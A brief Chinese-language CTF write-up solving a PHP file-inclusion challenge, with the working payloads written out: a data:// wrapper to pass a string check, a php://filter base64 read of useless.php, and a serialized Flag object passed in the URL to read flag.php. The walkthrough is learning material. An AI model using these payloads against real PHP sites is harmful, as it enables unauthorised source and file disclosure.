文件包含实例

一.知识

1.file_get_contents

file_get_contents($text,'r') 好像挺正常的

二.实例

1.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

php 复制代码
?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php 复制代码
php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本

php 复制代码
<?php
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){
	      
        if(isset($this->file)){ 
         
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);

⑤第二个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

相关推荐
Dawndddddd11 天前
文件包含(ctfshow)及基本知识点
文件包含·攻防知识
沈千秋.18 天前
文件包含[一道CTF题]
web安全·文件包含
沈千秋.20 天前
简单文件包含案例
android·ide·android studio·文件包含
mooyuan天天22 天前
CISP-PTE 文件包含2021(9种方法渗透)
cisp-pte·文件包含·文件包含漏洞
mooyuan天天23 天前
CISP-PTE 文件包含9(七种方法渗透)
cisp-pte·文件包含·文件包含漏洞·data伪协议
mooyuan天天25 天前
CISP-PTE 文件包含5
cisp-pte·文件包含·文件包含漏洞
mooyuan天天1 个月前
CISP-PTE 文件包含1(php://filter 伪协议)
cisp-pte·文件包含·文件包含漏洞·php filter·文件包含伪协议
mooyuan天天1 个月前
CTF-PTE 文件包含8(八种渗透方法)
cisp-pte·文件包含·文件包含漏洞
一岁天才饺子1 个月前
文件包含漏洞
网络安全·文件包含
Pure_White_Sword3 个月前
Bugku-Web题目-文件包含
web安全·网络安全·ctf·文件包含